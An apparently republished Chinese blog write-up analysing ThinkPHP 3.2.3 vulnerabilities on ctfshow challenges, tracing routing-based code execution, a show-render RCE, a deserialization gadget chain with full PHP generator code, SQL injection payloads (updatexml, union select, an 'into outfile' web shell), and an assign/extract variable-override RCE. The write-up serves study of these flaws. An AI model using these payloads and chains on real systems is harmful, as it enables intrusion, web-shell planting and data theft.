thinkphp3.2.x漏洞分析

m1xian發表於2024-06-30

tp3.2.3

1.開始

入口檔案

就是www/index.php,index.php包含了框架的入口檔案,所以訪問後可以直接載入thinkphp框架

配置檔案
thinkphp的配置檔案在www/ThinkPHP/Conf/convention.php

url大小寫

url預設是大小寫敏感的,也可以透過修改convertion.php,達到url不區分大小寫的目的

'URL_CASE_INSENSITIVE' => true,

URL模式

在訪問入口檔案時,如果沒有指定模組、控制器、方法,預設會訪問HOME模組下面的Index控制器的index方法,所以下面訪問是等效的

http://serverName/index.php
http://serverName/index.php/Home/Index/index

為了訪問下圖中的index方法並輸出hello 123我們可以透過下面四種模式

image-20240602160955-wtu3k7a

PATHINFO模式:

http://localhost/index.php/Home/Index/index/name/123/

普通模式:

http://localhost/index.php?m=Home&c=Index&f=index&name=123

相容模式:

http://localhost/index.php?s=Home/Index/index/name/123
其中引數s來自於ThinkPHP->Conf->convention.php中的VAR_PATH_INFO設定,所以我們也可以改成其他的引數。

REWRITE模式:

http://localhost/Home/Index/index/name/123/

路由

開啟路由的前提

  1. URL模式為PATH_INFO或者相容模式也可以,採用普通模式的情況下不支援路由功能
  2. 在應用(或者模組)配置檔案中開啟路由:'URL_ROUTER_ON' => true,

規則路由

common內全域性路由:

<?php
return array(
	//'配置項'=>'配置值'
	'DB_TYPE'               =>  'mysql',     // 資料庫型別
    'DB_HOST'               =>  '127.0.0.1', // 伺服器地址
    'DB_NAME'               =>  'ctfshow',          // 資料庫名
    'DB_USER'               =>  'root',      // 使用者名稱
    'DB_PWD'                =>  'ctfshow',          // 密碼
    'DB_PORT'               =>  '3306',        // 埠
    'URL_ROUTER_ON'   => true,
	'URL_ROUTE_RULES' => array(
    'ctfshow/:f/:a' =>function($f,$a){
    	call_user_func($f, $a);
    	}
    )
);

http://challenge.ctf.show/index.php/ctfshow/assert/@eval($_POST[1])

=> call_user_func('assert','@eval($_POST[1])');

2.show渲染函式rce

Thinkphp的渲染機制
Thinkphp的控制器中有show函式,可以將文字渲染成html的網頁

show函式最終呼叫eval函式

成功傳入引數值

image-20240602162701-sruthst

image-20240602162707-6velsaq

本地在show方法下斷點

image-20240602162427-g40ulp3

繼續跟進display方法

image-20240602163547-c1b9ryh

跟進到fetch方法

image-20240602163334-uf3a13b

image-20240602170510-pqu3oe2

if('php' == strtolower(C('TMPL_ENGINE_TYPE')))​這裡直接到else裡面了,因為本地預設是Think,但是ctfshow裡是PHP,所以我們可以直接進行命令執行

image-20240602171300-r2jgiif

注意要url編碼

3.反序列化+sql注入

先找__destruct

image-20240603202116-vgdetbl

這裡img可控,可呼叫destroy方法,全域性搜素

image-20240603202210-lmi757h

handle和sessionName可控,但是sessID不可控,是空值,後續delete方法的引數大多需要陣列,這裡即使給sessionName賦值成陣列,但是$sessID​如果為空值,在PHP中,用.​連線符連線,得到的結果為字串Array​。

<?php

$a= array("1234"=>"1234");

var_dump($a."");
#輸出:string(5) "Array"

全域性搜尋delete函式

image-20240603203039-x708ttv

在這寫一個echo,然後將前面分析的鏈子整合一下,進行反序列化,看看呼叫過程是否正確。

<?php
namespace Think\Image\Driver {

    use Think\Session\Driver\Memcache;

    class Imagick
    {
        private $img;

        public function __construct()
        {
            $this->img = new Memcache();

        }
    }
}

namespace Think\Session\Driver {

    use Think\Model;

    class Memcache
    {
        protected $lifeTime = 3600;
        protected $sessionName = 1;
        protected $handle = null;

        public function __construct()
        {
            $this->handle = new Model();
        }
    }
}
namespace Think {
    class Model{}
}
namespace {
    $a = new Think\Image\Driver\Imagick();
    echo base64_encode(serialize($a));
}

在PHP7版本中,如果呼叫一個含引數的方法,卻不傳入引數時,ThinkPHP會報錯,而在PHP5版本中不會報錯,但是我沒配php5的debug

image-20240603205711-cv255wd

m1xian是能列印出來的

image-20240603205925-9i1rqkp

繼續向下分析

image-20240603210649-c0suz16

這裡$this->data​可控,我們期望進入這個return裡面,這樣會第二次呼叫delete方法,此時則該方法的option​引數變相可控

繼續向下走

image-20240603213556-cwa08gg

這裡$this->db我們可控的,delete方法也可控,option的值我們變相可控

繼續全域性搜尋delete方法

thinkphp3.2.3/ThinkPHP/Library/Think/Db/Driver.class.php

image-20240603213855-l92szap

此處可能存在sql注入漏洞,因為直接對table進行了拼接

上面有個parseTable函式,跟進看一下有木有過濾

image-20240603214142-nppm18e

可以看到只呼叫了parseKey函式,繼續跟進看一下

image-20240603214237-z25ual0

毫無過濾,直接將傳入的引數返回

在此處執行sql,執行前列印出來,構造一下到這裡的鏈子

image-20240603214543-yob2vav

<?php
namespace Think\Image\Driver {

    use Think\Session\Driver\Memcache;

    class Imagick
    {
        private $img;

        public function __construct()
        {
            $this->img = new Memcache();

        }
    }
}

namespace Think\Session\Driver {

    use Think\Model;

    class Memcache
    {
        protected $lifeTime = 3600;
        protected $sessionName = '';
        protected $handle = null;

        public function __construct()
        {
            $this->handle = new Model();
        }
    }
}
namespace Think {
    class Model{}
}
namespace {
    $a = new Think\Image\Driver\Imagick();
    echo base64_encode(serialize($a));
}

4.comment注入

無過濾可直接執行命令

image-20240604171202-d03i7in

comment處下斷點

走到find方法,之前分析過會進行一個sql執行

image-20240604171656-s3h9s3i

繼續跟看看有沒有過濾

image-20240604171557-uam7fwq

沒有過濾

image-20240604171838-6rm1hj8

https://challenge.ctf.show/?id=0*/;select '<?php @eval($_POST[cmd]);?>' into outfile '/var/www/html/a.php';/*

image-20240604172536-545l9tm

5.where注入傳入陣列

where處下斷點,這裡也是呼叫了find函式

image-20240604200526-4pqz8gb

一直跟進到構造sql語句的地方

image-20240604201430-4mm3qdl

跟進紅框看一下有木有過濾

image-20240604201837-ie4ip6t

可以看到如果進第一個if比較運算的話,會進parseValue

image-20240604203559-xm38b2e

直接走下面紅框的

image-20240604204149-u71fs1v

Payload:

?id[0]=exp&id[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)

image-20240604204425-vurwkdh

可以看到成功注入

union也可以

?m=Home&c=Index&a=index&id[0]=exp&id[1]==0 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database();

image-20240604205303-2kt9qk4

6.php原生引擎下,assign方法變數覆蓋導致的RCE

原始碼:

image-20240605191835-bkdno62

預設情況下tp框架使用的是THINK引擎渲染網頁,但是開發者可以手動設定/tp3.2.3/ThinkPHP/Conf/convention.php的TMPL_ENGINE_TYPE值為PHP,來使用原生引擎。這裡的漏洞就是因為使用了php原生引擎

看一下assign

image-20240605191826-cgo44vm

傳入的name是陣列就陣列合並,是字串就name當作鍵值,value當作值

跟進到display

display方法是渲染用的,沒有引數就渲染自身名稱的html檔案模板(index.html)

image-20240605191034-gnbdmyg

繼續跟進到fetch

image-20240605190459-5xbbd8g

extract函式,當flags為EXTR_OVERWRITE時會覆蓋原有變數

這裡extract($this->tVar​),透過assgin傳入

這裡直接將$_content eval執行了

?m=Home&c=Index&a=index&name=_content&from=<?php @eval($_POST[1]);?>
也可以?name[_content]=<?php phpinfo();?>

image-20240605194827-x8x68gf

可以看到成功覆蓋

相關文章